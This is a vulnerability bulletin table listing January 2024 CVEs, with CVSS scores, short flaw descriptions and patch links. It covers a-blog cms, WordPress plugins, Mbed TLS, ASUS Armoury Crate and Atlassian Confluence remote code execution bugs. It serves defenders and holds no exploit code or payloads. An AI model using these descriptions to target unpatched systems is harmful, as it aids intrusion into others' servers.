N/A	23-Jan-2024	8.8	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7,	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/80

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary code by uploading a specially crafted SVG file. **CVE ID : CVE-2024-23180**		
N/A	23-Jan-2024	8.8	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary JavaScript code by uploading a	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/81

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			specially crafted SVG file. **CVE ID : CVE-2024-23348**		
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	23-Jan-2024	8.1	Relative path traversal vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to delete arbitrary files on the server. **CVE ID : CVE-2024-23182**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/82
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/83

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			earlier allows a remote unauthenticated attacker to execute an arbitrary script on the logged-in user's web browser. **CVE ID : CVE-2024-23181**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	5.4	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute an arbitrary script on the logged-in user's web browser. **CVE ID : CVE-2024-23183**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/84
Affected Version(s): From (including) 2.11.0 Up to (excluding) 2.11.58					
N/A	23-Jan-2024	8.8	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7,	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/85

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary code by uploading a specially crafted SVG file. **CVE ID : CVE-2024-23180**		
N/A	23-Jan-2024	8.8	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary JavaScript code by uploading a	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/86

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			specially crafted SVG file. **CVE ID : CVE-2024-23348**		
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	23-Jan-2024	8.1	Relative path traversal vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to delete arbitrary files on the server. **CVE ID : CVE-2024-23182**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/87
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/88

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			earlier allows a remote unauthenticated attacker to execute an arbitrary script on the logged-in user's web browser. **CVE ID : CVE-2024-23181**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	5.4	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute an arbitrary script on the logged-in user's web browser. **CVE ID : CVE-2024-23183**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/89
Improper Neutralization of Input During Web Page Generation	28-Jan-2024	5.4	Cross-site scripting vulnerability exists in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29,	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/90

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier versions. If this vulnerability is exploited, a user with a contributor or higher privilege may execute an arbitrary script on the web browser of the user who accessed the website using the product. **CVE ID : CVE-2024-23782**		
Affected Version(s): From (including) 3.0.0 Up to (excluding) 3.0.29					
N/A	23-Jan-2024	8.8	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary code by	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/91

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			uploading a specially crafted SVG file. **CVE ID : CVE-2024-23180**		
N/A	23-Jan-2024	8.8	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary JavaScript code by uploading a specially crafted SVG file. **CVE ID : CVE-2024-23348**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/92
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	23-Jan-2024	8.1	Relative path traversal vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/93

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to delete arbitrary files on the server. **CVE ID : CVE-2024-23182**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote unauthenticated attacker to execute an arbitrary script on the logged-in user's web browser. **CVE ID : CVE-2024-23181**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/94
Improper Neutralization of Input During	23-Jan-2024	5.4	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7,	https://developer.a-blogcms.jp/blog	A-APP-A-BL-130224/95

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute an arbitrary script on the logged-in user's web browser. **CVE ID : CVE-2024-23183**	/news/JVN-34565930.html	
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	28-Jan-2024	5.4	Cross-site scripting vulnerability exists in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier versions. If this vulnerability is exploited, a user with a contributor or higher privilege may execute an arbitrary script on the web browser of	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/96

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the user who accessed the website using the product. **CVE ID : CVE-2024-23782**		
Affected Version(s): From (including) 3.1.0 Up to (excluding) 3.1.7					
N/A	23-Jan-2024	8.8	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary code by uploading a specially crafted SVG file. **CVE ID : CVE-2024-23180**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/97
N/A	23-Jan-2024	8.8	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29,	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/98

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary JavaScript code by uploading a specially crafted SVG file. **CVE ID : CVE-2024-23348**		
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	23-Jan-2024	8.1	Relative path traversal vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to delete arbitrary files on the server. **CVE ID : CVE-2024-23182**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/99

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote unauthenticated attacker to execute an arbitrary script on the logged-in user's web browser. **CVE ID : CVE-2024-23181**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/100
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	5.4	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/101

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to execute an arbitrary script on the logged-in user's web browser. **CVE ID : CVE-2024-23183**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	28-Jan-2024	5.4	Cross-site scripting vulnerability exists in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier versions. If this vulnerability is exploited, a user with a contributor or higher privilege may execute an arbitrary script on the web browser of the user who accessed the website using the product. **CVE ID : CVE-2024-23782**	https://developer.a-blogcms.jp/blog/news/JVN-34565930.html	A-APP-A-BL-130224/102
Vendor: arcstone					
Product: amo_for_wp_-_membership_management					
Affected Version(s): * Up to (including) 4.6.6					
Server-Side Request	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF)	N/A	A-ARC-AMO_-130224/103

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Forgery (SSRF)			vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Admin CSS MU: from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Vendor: ari-soft					
Product: contact_form_7_connector					
Affected Version(s): * Up to (excluding) 1.2.3					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	6.1	The Contact Form 7 Connector WordPress plugin before 1.2.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against administrators. **CVE ID : CVE-2024-0239**	N/A	A-ARI-CONT-130224/104
Vendor: ARM					
Product: mbed_tls					
Affected Version(s): * Up to (excluding) 3.5.2					
Session Fixation	21-Jan-2024	7.5	An issue was discovered in Mbed TLS through 3.5.1. In mbedtls_ssl_session_reset, the maximum negotiable TLS version is mishandled. For example, if the last	https://github.com/Mbed-TLS/mbedtls/issues/8654	A-ARM-MBED-130224/105

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			connection negotiated TLS 1.2, then 1.2 becomes the new maximum. **CVE ID : CVE-2023-52353**		
N/A	21-Jan-2024	7.5	An issue was discovered in Mbed TLS 3.5.1. There is persistent handshake denial if a client sends a TLS 1.3 ClientHello without extensions. **CVE ID : CVE-2024-23744**	https://github.com/Mbed-TLS/mbedtls/issues/8694	A-ARM-MBED-130224/106
Vendor: artplacer					
Product: artplacer_widget					
Affected Version(s): * Up to (including) 2.20.6					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	16-Jan-2024	8.8	The ArtPlacer Widget WordPress plugin before 2.20.7 does not sanitize and escape the "id" parameter before submitting the query, leading to a SQLI exploitable by editors and above. Note: Due to the lack of CSRF check, the issue could also be exploited via a CSRF against a logged editor (or above) **CVE ID : CVE-2023-6373**	N/A	A-ART-ARTP-130224/107
Vendor: asgaros					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: asgaros_forum					
Affected Version(s): * Up to (excluding) 2.8.0					
Deserialization of Untrusted Data	24-Jan-2024	9.8	Deserialization of Untrusted Data vulnerability in Thomas Belser Asgaros Forum.This issue affects Asgaros Forum: from n/a through 2.7.2. **CVE ID : CVE-2024-22284**	N/A	A-ASG-ASGA-130224/108
Vendor: Asus					
Product: armoury_crate					
Affected Version(s): * Up to (excluding) 4.1.0.8					
N/A	19-Jan-2024	9.8	ASUS Armoury Crate has a vulnerability in arbitrary file write and allows remote attackers to access or modify arbitrary files by sending specific HTTP requests without permission. **CVE ID : CVE-2023-5716**	N/A	A-ASU-ARMO-130224/109
Vendor: Atlassian					
Product: confluence_data_center					
Affected Version(s): From (including) 7.19.0 Up to (excluding) 7.19.17					
Improper Control of Generation of Code	16-Jan-2024	8.8	This High severity RCE (Remote Code Execution) vulnerability was introduced in	https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615	A-ATL-CONF-130224/110

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Code Injection')			version 7.19.0 of Confluence Data Center. This RCE (Remote Code Execution) vulnerability, with a CVSS Score of 7.2, allows an authenticated attacker to execute arbitrary code which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires no user interaction. Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center and Server 7.19: Upgrade to a release 7.19.17, or any higher 7.19.x release Confluence Data Center and Server		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]). This vulnerability was discovered by m1sn0w and reported via our Bug Bounty program **CVE ID : CVE-2023-22526**		
Affected Version(s): From (including) 7.19.0 Up to (excluding) 7.19.18					
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 2.1.0 of	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-	A-ATL-CONF-130224/111

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.3 and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H allows an unauthenticated attacker to remotely expose assets in your environment susceptible to exploitation which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions:	1333335615.html	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21672**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in versions 7.13.0 of	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-	A-ATL-CONF-130224/112

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Confluence Data Center and Server. Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.0 and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H allows an authenticated attacker to expose assets in your environment susceptible to exploitation which has high impact to confidentiality, high impact to integrity, high impact to availability, and does not require user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server	1333335615.html	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21673**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	7.5	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 7.13.0 of Confluence Data Center and Server.	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/113

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.6 and a CVSS Vector of CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N allows an unauthenticated attacker to expose assets in your environment susceptible to exploitation which has high impact to confidentiality, no impact to integrity, no impact to availability, and does not require user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21674**		
Affected Version(s): From (including) 8.0.0 Up to (excluding) 8.5.4					
Improper Neutralization of Special Elements in Output Used by a Downstream	16-Jan-2024	9.8	A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve	https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615	A-ATL-CONF-130224/114

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Component ('Injection')			RCE on an affected instance. Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian's January Security Bulletin. **CVE ID : CVE-2023-22527**		
Affected Version(s): From (including) 8.5.0 Up to (excluding) 8.5.5					
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity RCE (Remote Code Execution) vulnerability was introduced in version 7.19.0 of Confluence Data Center.	https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615	A-ATL-CONF-130224/115

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This RCE (Remote Code Execution) vulnerability, with a CVSS Score of 7.2, allows an authenticated attacker to execute arbitrary code which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires no user interaction. Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center and Server 7.19: Upgrade to a release 7.19.17, or any higher 7.19.x release Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]). This vulnerability was discovered by m1sn0w and reported via our Bug Bounty program **CVE ID : CVE-2023-22526**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 2.1.0 of Confluence Data Center and Server.	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/116

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.3 and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H allows an unauthenticated attacker to remotely expose assets in your environment susceptible to exploitation which has high impact to confidentiality, high impact to integrity, high impact to availability, and requires user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21672**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	8.8	This High severity Remote Code Execution (RCE) vulnerability was introduced in versions 7.13.0 of Confluence Data Center and Server.	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/117

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.0 and a CVSS Vector of CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H allows an authenticated attacker to expose assets in your environment susceptible to exploitation which has high impact to confidentiality, high impact to integrity, high impact to availability, and does not require user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			any higher 7.19.x release * Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21673**		
Improper Control of Generation of Code ('Code Injection')	16-Jan-2024	7.5	This High severity Remote Code Execution (RCE) vulnerability was introduced in version 7.13.0 of Confluence Data Center and Server.	https://confluence.atlassian.com/security/security-bulletin-january-16-2024-1333335615.html	A-ATL-CONF-130224/118

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Remote Code Execution (RCE) vulnerability, with a CVSS Score of 8.6 and a CVSS Vector of CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N allows an unauthenticated attacker to expose assets in your environment susceptible to exploitation which has high impact to confidentiality, no impact to integrity, no impact to availability, and does not require user interaction. Atlassian recommends that Confluence Data Center and Server customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Confluence Data Center and Server 7.19: Upgrade to a release 7.19.18, or any higher 7.19.x release		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* Confluence Data Center and Server 8.5: Upgrade to a release 8.5.5 or any higher 8.5.x release * Confluence Data Center and Server 8.7: Upgrade to a release 8.7.2 or any higher release See the release notes (https://confluence.atlassian.com/doc/confluence-release-notes-327.html). You can download the latest version of Confluence Data Center and Server from the download center (https://www.atlassian.com/software/confluence/download-archives). **CVE ID : CVE-2024-21674**		
Affected Version(s): From (including) 8.7.0 Up to (excluding) 8.7.1					
Improper Neutralization of Special Elements in Output Used by a Downstream Component	16-Jan-2024	9.8	A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance.	https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615	A-ATL-CONF-130224/119

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
